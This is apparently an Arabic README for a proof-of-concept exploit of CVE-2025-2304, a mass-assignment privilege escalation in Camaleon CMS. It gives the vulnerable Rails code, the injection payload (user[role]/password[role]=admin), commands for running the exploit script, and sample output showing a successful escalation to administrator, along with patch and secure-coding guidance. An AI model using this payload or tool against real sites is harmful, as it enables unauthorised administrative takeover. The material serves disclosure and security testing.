
إثبات المفهوم لـ CVE-2025-2304 — ثغرة حرجة (CVSS 9.4) لتصعيد الامتيازات عبر التخصيص الجماعي في Camaleon CMS.
إثبات المفهوم (PoC) لاستغلال CVE-2025-2304، وهي ثغرة خطيرة من نوع الإسناد الجماعي في Camaleon CMS تسمح بتصعيد الصلاحيات من مستخدمين محدودي الصلاحية إلى مسؤولين.
██████╗ ██████╗ ██╗ ██╗███╗ ██╗ ██████╗ ███╗ ███╗██╗
██╔══██╗╚════██╗██║ ██║████╗ ██║██╔═████╗████╗ ████║██║
██║ ██║ █████╔╝██║ ██║██╔██╗ ██║██║██╔██║██╔████╔██║██║
██║ ██║ ╚═══██╗╚██╗ ██╔╝██║╚██╗██║████╔╝██║██║╚██╔╝██║██║
██████╔╝██████╔╝ ╚████╔╝ ██║ ╚████║╚██████╔╝██║ ╚═╝ ██║██║
╚═════╝ ╚═════╝ ╚═══╝ ╚═╝ ╚═══╝ ╚═════╝ ╚═╝ ╚═╝╚═╝
CVE-2025-2304 هي ثغرة خطيرة من نوع الإسناد الجماعي في Camaleon CMS، توجد في طريقة updated_ajax في UsersController. ينبع أصل الثغرة من استخدام الطريقة الخطيرة permit! في Rails، والتي تسمح بمرور جميع المعاملات دون أي تصفية.
يوضح إثبات المفهوم هذا كيف يمكن لمستخدم مصدّق بصلاحيات محدودة أن يرفع صلاحياته إلى مسؤول عن طريق حقن معاملات غير مصرح بها أثناء عمليات تغيير كلمة المرور.
نقاط CVSS: 9.4 (خطيرة)
يستخدم الكود الضعيف params.require(:user).permit! الذي يقبل جميع المعاملات المقدمة من المستخدم دون التحقق منها:
def updated_ajax
user_params = params.require(:user).permit! # DANGEROUS!
current_user.update(user_params)
end
يمكن للمهاجم حقن معاملات إضافية مثل user[role]=admin إلى جانب حقول تغيير كلمة المرور المشروعة، مما يتسبب في تحديث التطبيق لدور المستخدم إلى مسؤول.
متجه الهجوم:
/admin/users/{id}/updated_ajaxuser[role]=admin--no-password-field لأكثر الاختبارات أماناًgit clone https://github.com/d3vhthnnni/cve-2025-2304-poc.git
cd cve-2025-2304-poc
pip install -r requirements.txt
أو التثبيت يدوياً:
pip install requests beautifulsoup4
python3 cve-2025-2304-poc.py <target_url> -u <username> -p <password> [options]
positional arguments:
target عنوان الهدف (مثال: http://target.com)
required arguments:
-u, --username اسم مستخدم موجود للمصادقة
-p, --password كلمة مرور المستخدم
optional arguments:
-h, --help عرض رسالة المساعدة والخروج
-v, --verbose مخرجات مفصلة (عرض جميع الطلبات)
--proxy PROXY وكيل HTTP لفحص حركة المرور (مثال: http://127.0.0.1:8080)
--no-password-field اختبار الاستغلال دون تضمين حقول كلمة المرور (الأكثر أماناً)
--skip-admin-test تخطي الاختبار التدميري لإعادة تعيين كلمة مرور المسؤول
الاختبار باستخدام بيانات اعتماد مستخدم موجود مع الحفاظ على كلمة المرور:
python3 cve-2025-2304-poc.py http://target.com -u testuser -p Password123
الاختبار دون تضمين حقول كلمة المرور في حمولة الاستغلال:
python3 cve-2025-2304-poc.py http://target.com -u testuser -p Password123 --no-password-field
توجيه حركة المرور عبر Burp Suite للفحص اليدوي:
python3 cve-2025-2304-poc.py http://target.com -u testuser -p Password123 --proxy http://127.0.0.1:8080
تفعيل المخرجات المفصلة التي تعرض جميع الطلبات والاستجابات:
python3 cve-2025-2304-poc.py http://target.com -u testuser -p Password123 -v
اختبار تصعيد الصلاحيات فقط، وتخطي إعادة تعيين كلمة مرور المسؤول:
python3 cve-2025-2304-poc.py http://target.com -u testuser -p Password123 --skip-admin-test
██████╗ ██████╗ ██╗ ██╗███╗ ██╗ ██████╗ ███╗ ███╗██╗
██╔══██╗╚════██╗██║ ██║████╗ ██║██╔═████╗████╗ ████║██║
██║ ██║ █████╔╝██║ ██║██╔██╗ ██║██║██╔██║██╔████╔██║██║
██║ ██║ ╚═══██╗╚██╗ ██╔╝██║╚██╗██║████╔╝██║██║╚██╔╝██║██║
██████╔╝██████╔╝ ╚████╔╝ ██║ ╚████║╚██████╔╝██║ ╚═╝ ██║██║
╚═════╝ ╚═════╝ ╚═══╝ ╚═╝ ╚═══╝ ╚═════╝ ╚═╝ ╚═╝╚═╝
============================================================
CVE-2025-2304 - Camaleon CMS Privilege Escalation PoC
Mass Assignment Vulnerability Tester
Author: d3vn0mi | GitHub: github.com/d3vhthnnni
============================================================
[*] Target: http://target.com
[*] Username: testuser
[*] Password: **********
[*] Logging in as testuser...
[+] Successfully logged in
[*] Checking CMS version...
[*] Detected version: 2.9.0
[+] Version is VULNERABLE (< 2.9.1)
============================================================
[*] Testing CVE-2025-2304 Mass Assignment Vulnerability
============================================================
[*] Target User: testuser (ID: 7)
[*] Current Role: Client (client)
[*] Password will remain unchanged
[1/7] Testing: AJAX endpoint - user[role]
✗ Failed
[2/7] Testing: AJAX endpoint - password[role]
============================================================
[+] EXPLOITATION SUCCESSFUL!
============================================================
[+] Privilege Escalation: Client → Administrator
[+] Vulnerable Endpoint: /admin/users/7/updated_ajax
[+] Working Payload: {'password[role]': 'admin'}
[+] Password Unchanged: User can still login normally
[+] CVE-2025-2304 CONFIRMED!
[✓] CVE-2025-2304 VULNERABILITY CONFIRMED
| الإصدار | الحالة |
|---|---|
| < 2.9.1 | ❌ معرضة |
| ≥ 2.9.1 | ✅ مصححة |
على وجه التحديد المعرضة:
الترقية إلى الإصدار 2.9.1 أو أحدث
gem update camaleon_cms
تدقيق حسابات المستخدمين
/users/*/updated_ajaxفرض إعادة تعيين كلمات المرور (في حالة الاختراق)
نمط الكود الآمن:
استبدال permit! الخطير بقائمة بيضاء صريحة:
# قبل (معرض)
def updated_ajax
user_params = params.require(:user).permit!
current_user.update(user_params)
end
# بعد (آمن)
def updated_ajax
user_params = params.require(:user).permit(:password, :password_confirmation)
current_user.update(user_params)
end
إجراءات أمنية إضافية:
هذه الأداة مقدمة لأغراض تعليمية واختبار أمني مصرح به فقط.
إشعار قانوني:
الاستخدام الأخلاقي:
d3vn0mi
هذا المشروع مرخص بموجب رخصة MIT - راجع ملف LICENSE للتفاصيل.
المساهمات والقضايا وطلبات الميزات مرحّب بها!
لا تتردد في زيارة صفحة القضايا.
اعطِ ⭐️ إذا كان هذا المشروع قد ساعدك!
ملحوظة: هذا المستودع لأغراض البحث الأمني والتعليم. التزم دائماً بممارسات الإفصاح المسؤول واحصل على إذن مناسب قبل الاختبار.